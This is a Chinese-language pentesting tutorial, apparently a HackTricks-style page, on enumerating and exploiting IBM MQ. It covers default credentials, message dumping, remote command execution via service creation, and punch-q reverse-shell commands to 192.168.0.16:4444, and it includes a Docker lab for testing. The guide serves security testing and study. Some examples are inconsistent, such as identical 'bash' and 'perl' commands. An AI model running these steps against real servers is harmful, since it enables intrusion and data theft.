基本信息
IBM MQ 是一种 IBM 技术,用于管理消息队列。与其他 消息中介 技术一样,它专门用于接收、存储、处理和分类生产者与消费者之间的信息。
默认情况下,它暴露 IBM MQ TCP 端口 1414 。 有时,HTTP REST API 可能会暴露在端口 9443 上。 指标(Prometheus)也可以通过 TCP 端口 9157 访问。
IBM MQ TCP 端口 1414 可用于操作消息、队列、通道……但 也可用于控制实例 。
IBM 提供了大量技术文档,网址为 https://www.ibm.com/docs/en/ibm-mq 。
工具
一个建议的易于利用的工具是 punch-q ,使用 Docker。该工具积极使用 Python 库 pymqi
。
对于更手动的方法,可以使用 Python 库 pymqi 。需要 IBM MQ 依赖项 。
安装 pymqi
IBM MQ 依赖项 需要安装和加载:
解压缩(tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz
)。
运行 sudo ./mqlicense.sh
接受许可条款。
如果您使用的是 Kali Linux,请修改文件 mqlicense.sh
:删除/注释以下行(在第 105-110 行之间):
Copy if [ ${BUILD_PLATFORM} != ` uname ` _ ` uname ${UNAME_FLAG}` ]
then
echo "ERROR: This package is incompatible with this system"
echo " This package was built for ${BUILD_PLATFORM}"
exit 1
fi
Copy sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
然后,临时将 .so
文件添加到 LD: export LD_LIBRARY_PATH=/opt/mqm/lib64
,在 使用这些依赖项运行其他工具之前。
然后,您可以克隆项目 pymqi :它包含有趣的代码片段、常量等。或者您可以直接安装库:pip install pymqi
。
使用 punch-q
使用 Docker
只需使用:sudo docker run --rm -ti leonjza/punch-q
。
不使用 Docker
克隆项目 punch-q ,然后按照自述文件进行安装(pip install -r requirements.txt && python3 setup.py install
)。
之后,可以使用 punch-q
命令。
枚举
您可以尝试使用 punch-q 或 pymqi 枚举 队列管理器名称、用户、通道和队列 。
队列管理器
有时,没有保护措施来获取队列管理器名称:
Copy ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR
Channels
punch-q 使用一个内部(可修改)词汇表来查找现有的通道。用法示例:
Copy ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
一些 IBM MQ 实例接受 未认证 的 MQ 请求,因此不需要 --username / --password
。当然,访问权限也可能有所不同。
一旦我们获得一个通道名称(这里是:DEV.ADMIN.SVRCONN
),我们就可以枚举所有其他通道。
枚举基本上可以使用 pymqi 中的这个代码片段 code/examples/dis_channels.py
来完成:
Copy import logging
import pymqi
logging . basicConfig (level = logging.INFO)
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = ' %s ( %s )' % (host , port)
user = 'admin'
password = 'passw0rd'
prefix = '*'
args = { pymqi . CMQCFC . MQCACH_CHANNEL_NAME : prefix }
qmgr = pymqi . connect (queue_manager, channel, conn_info, user, password)
pcf = pymqi . PCFExecute (qmgr)
try :
response = pcf . MQCMD_INQUIRE_CHANNEL (args)
except pymqi . MQMIError as e :
if e . comp == pymqi . CMQC . MQCC_FAILED and e . reason == pymqi . CMQC . MQRC_UNKNOWN_OBJECT_NAME :
logging . info ( 'No channels matched prefix ` %s `' % prefix)
else :
raise
else :
for channel_info in response :
channel_name = channel_info [ pymqi . CMQCFC . MQCACH_CHANNEL_NAME ]
logging . info ( 'Found channel ` %s `' % channel_name)
qmgr . disconnect ()
... 但是 punch-q 也嵌入了那部分(包含更多信息!)。 可以通过以下方式启动:
Copy ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*" ...
| Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher |
| ---------------------- | ------------------- | --------- | ----------- | ------------ | ----------------- | ------------ |
| DEV.ADMIN.SVRCONN | Server-connection | | | | | |
| DEV.APP.SVRCONN | Server-connection | app | | | | |
| SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | |
| SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | |
| SYSTEM.DEF.AMQP | AMQP | | | | | |
| SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | |
| SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | |
| SYSTEM.DEF.RECEIVER | Receiver | | | | | |
| SYSTEM.DEF.REQUESTER | Requester | | | | | |
| SYSTEM.DEF.SENDER | Sender | | | | | |
| SYSTEM.DEF.SERVER | Server | | | | | |
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
Queues
有一个使用 pymqi 的代码片段(dis_queues.py
),但 punch-q 允许检索有关队列的更多信息:
Copy ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*" ...
| Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description |
| | | | | | GR Name | eue Nam | |
| | | | | | | e | |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | |
| 0 18.35.1 | E | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
# Truncated
Exploit
Dump messages
您可以针对队列/通道进行嗅探/转储消息(非破坏性操作)。 示例:
Copy ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
Copy ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
不要犹豫,迭代所有识别的队列。
代码执行
在继续之前的一些细节:IBM MQ 可以通过多种方式进行控制:MQSC、PCF、控制命令。可以在 IBM MQ 文档 中找到一些一般列表。 PCF (可编程命令格式 ) 是我们关注的与实例远程交互的方式。punch-q 和进一步的 pymqi 基于 PCF 交互。
你可以找到 PCF 命令的列表:
一个有趣的命令是 MQCMD_CREATE_SERVICE
,其文档可在 这里 找到。它的参数是指向实例上本地程序的 StartCommand
(示例:/bin/sh
)。
文档中还有该命令的警告:“注意:此命令允许用户以 mqm 权限运行任意命令。如果被授予使用此命令的权限,恶意或粗心的用户可能会定义一个服务,从而损害你的系统或数据,例如,删除重要文件。”
注意:始终根据 IBM MQ 文档(管理参考),在 /admin/action/qmgr/{qmgrName}/mqsc
处还有一个 HTTP 端点,可以运行等效的 MQSC 命令以创建服务( DEFINE SERVICE
)。这一方面在这里尚未覆盖。
使用 PCF 进行远程程序执行的服务创建/删除可以通过 punch-q 完成:
示例 1
Copy ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
在 IBM MQ 的日志中,您可以看到命令已成功执行:
Copy 2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
您还可以枚举机器上现有的程序(这里 /bin/doesnotexist
... 不存在):
Copy ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436
Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second ( s ) to live...
Cleaning up service...
Done
请注意,程序启动是异步的。因此,您需要第二个项目来利用该漏洞 (反向 shell 的监听器、在不同服务上创建文件、通过网络进行数据外泄 ...)
示例 2
为了方便反向 shell,punch-q 还提供了两个反向 shell 有效载荷:
当然,您可以使用 execute
命令构建自定义的有效载荷。
对于 bash:
Copy ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
对于perl:
Copy ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
Custom PCF
您可以深入研究 IBM MQ 文档,并直接使用 pymqi python 库来测试 punch-q 中未实现的特定 PCF 命令。
Example:
Copy import pymqi
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = ' %s ( %s )' % (host , port)
user = 'admin'
password = 'passw0rd'
qmgr = pymqi . connect (queue_manager, channel, conn_info, user, password)
pcf = pymqi . PCFExecute (qmgr)
try :
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = { pymqi . CMQCFC . xxxxx : "value" }
response = pcf . MQCMD_CUSTOM_COMMAND (args)
except pymqi . MQMIError as e :
print ( "Error" )
else :
# Process response
qmgr . disconnect ()
如果您无法找到常量名称,可以参考IBM MQ文档 。
MQCMD_REFRESH_CLUSTER
的示例(十进制 = 73)。它需要参数 MQCA_CLUSTER_NAME
(十进制 = 2029),可以是 *
(文档:):
Copy import pymqi
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = ' %s ( %s )' % (host , port)
user = 'admin'
password = 'passw0rd'
qmgr = pymqi . connect (queue_manager, channel, conn_info, user, password)
pcf = pymqi . PCFExecute (qmgr)
try :
args = { 2029 : "*" }
response = pcf . MQCMD_REFRESH_CLUSTER (args)
except pymqi . MQMIError as e :
print ( "Error" )
else :
print (response)
qmgr . disconnect ()
测试环境
如果您想测试IBM MQ的行为和漏洞,可以基于Docker设置本地环境:
在ibm.com和cloud.ibm.com上拥有一个账户。
Copy sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
默认情况下,身份验证已启用,用户名为 admin
,密码为 passw0rd
(环境变量 MQ_ADMIN_PASSWORD
)。在这里,队列管理器名称已设置为 MYQUEUEMGR
(变量 MQ_QMGR_NAME
)。
您应该已经启动并运行 IBM MQ,并且其端口已暴露:
Copy ❯ sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
IBM MQ Docker 镜像的旧版本在: https://hub.docker.com/r/ibmcom/mq/.
References